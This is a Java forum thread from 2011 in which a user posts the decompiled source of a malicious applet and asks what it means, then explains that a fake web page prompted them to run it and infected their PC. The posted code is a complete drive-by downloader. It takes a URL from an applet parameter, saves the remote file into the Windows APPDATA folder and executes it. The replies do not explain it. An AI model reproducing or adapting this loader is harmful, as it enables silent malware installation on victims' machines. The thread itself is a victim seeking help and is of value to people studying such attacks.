Results 1 to 9 of 9
  1. #1
    SHY_GURL is offline Member
    Join Date
    Nov 2011
    Location
    australia
    Posts
    8
    Rep Power
    0

    Default What does this mean in a code in java ??

    (Level.SEVERE, null, localFileNotFoundException)

    can someone help me undertsand what this part in a code means (remeber) please i no nothing about coding easy terms please :)

  2. #2
    Petr's Avatar
    Petr is offline Senior Member
    Join Date
    Jan 2011
    Location
    Russia
    Posts
    620
    Rep Power
    4

    Default Re: What does this mean in a code in java ??

    hi
    where did you find this code?
    Skype: petrarsentev
    http://TrackStudio.com

  3. #3
    Fubarable's Avatar
    Fubarable is offline Moderator
    Join Date
    Jun 2008
    Posts
    19,316
    Blog Entries
    1
    Rep Power
    26

  4. #4
    SHY_GURL is offline Member
    Join Date
    Nov 2011
    Location
    australia
    Posts
    8
    Rep Power
    0

    Default Re: What does this mean in a code in java ??

    ok here is what i clicked on was a java application what i did was i saved the html page as index.html
    i then had this java code after i have read on the internet how to extract the code ,

    anyway can someone tell me about this please ! ...
    Java Code:
    import java.applet.Applet;
    import java.io.BufferedInputStream;
    import java.io.BufferedOutputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.net.URL;
    import java.util.logging.Level;
    import java.util.logging.Logger;
    
    public class Kumquat extends Applet
    {
      public void start()
      {
        String str2 = System.getenv("appdata");
        String str3 = getParameter("rucuss");
        String str4 = "\\rundll32.exe";
    
        String str5 = str2.concat(str3);
        BufferedInputStream localBufferedInputStream = null;
        try {
          localBufferedInputStream = new BufferedInputStream(new URL(str3).openStream());
        } catch (IOException localIOException1) {
          Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException1);
        }
    
        FileOutputStream localFileOutputStream = null;
        try {
          localFileOutputStream = new FileOutputStream(str5);
        } catch (FileNotFoundException localFileNotFoundException) {
          Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
        }
    
        BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
        byte[] arrayOfByte = new byte[1024];
        try
        {
          int i;
          for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
            localBufferedOutputStream.write(arrayOfByte, 0, i);
        }
        catch (IOException localIOException3) {
          Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException3);
        }
        try {
          localBufferedOutputStream.close();
        } catch (IOException localIOException4) {
          Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException4);
        }
        try {
          localBufferedInputStream.close();
        } catch (IOException localIOException5) {
          Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException5);
        }
        try {
          Runtime.getRuntime().exec(str5);
        } catch (IOException localIOException6) {
          Logger.getLogger(Kumquat.class.getName()).log(Level.SEVERE, null, localIOException6);
        }
      }
    
      public void main(String[] paramArrayOfString)
      {
        start();
      }
    }
    Last edited by Norm; 11-20-2011 at 04:29 PM. Reason: added code tags

  5. #5
    Norm's Avatar
    Norm is offline Moderator
    Join Date
    Jun 2008
    Location
    SW Missouri
    Posts
    17,421
    Rep Power
    25

    Default Re: What does this mean in a code in java ??

    anyway can someone tell me about this
    What is the 'this" you are asking about?

  6. #6
    SHY_GURL is offline Member
    Join Date
    Nov 2011
    Location
    australia
    Posts
    8
    Rep Power
    0

    Default Re: What does this mean in a code in java ??

    Quote Originally Posted by Norm View Post
    What is the 'this" you are asking about?
    well i clicked on this java application .. so i dont no what it is, this is why im asking
    because my pc has been slighlty strange since this .......

  7. #7
    Norm's Avatar
    Norm is offline Moderator
    Join Date
    Jun 2008
    Location
    SW Missouri
    Posts
    17,421
    Rep Power
    25

    Default Re: What does this mean in a code in java ??

    i dont no what it is
    If you don't know what you are asking the question about, its very hard for anyone to help.
    Can you explain in detail what you did and what happened after you did it?

  8. #8
    DarrylBurke's Avatar
    DarrylBurke is offline Member
    Join Date
    Sep 2008
    Location
    Madgaon, Goa, India
    Posts
    11,242
    Rep Power
    19

    Default Re: What does this mean in a code in java ??

    Quote Originally Posted by SHY_GURL View Post
    ok here is what i clicked on was a java application what i did was i saved the html page as index.html
    i then had this java code after i have read on the internet how to extract the code
    Do the terms of usage of the site allow you to reverse engineer / decompile their code? If not, you could be in trouble for posting it on a public forum.

    db
    If you're forever cleaning cobwebs, it's time to get rid of the spiders.

  9. #9
    SHY_GURL is offline Member
    Join Date
    Nov 2011
    Location
    australia
    Posts
    8
    Rep Power
    0

    Default Re: What does this mean in a code in java ??

    it wasnt a web site as such i found out what it is its,
    called a term called java drive by .
    it infected me i have been asking on fourms about this ...

    so you didnt no what it was about ??
    and seeing i got hacked i dont think i needed permission to see there source code .

    they had a fake web page , when i clicked the link to there (fake) web page a java application opened, it asked me to (run) i ran it then i got infected ..
    does this make sense ?? now ??...

    This is why i was asking about this beacuse i wanted to no did this infect me or was it something seperate i have had to re-format my pc since
    Last edited by SHY_GURL; 11-25-2011 at 09:38 AM.

Similar Threads

  1. Replies: 1
    Last Post: 07-14-2011, 01:14 AM
  2. Translate Vb.net code into Java code
    By Radu in forum New To Java
    Replies: 5
    Last Post: 04-12-2011, 09:27 AM
  3. Replies: 0
    Last Post: 02-21-2011, 11:50 AM
  4. Convert java code to midlet code
    By coldvoice05 in forum New To Java
    Replies: 1
    Last Post: 08-12-2009, 11:14 AM
  5. Convert java code to midlet code
    By coldvoice05 in forum Advanced Java
    Replies: 1
    Last Post: 08-09-2009, 01:21 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •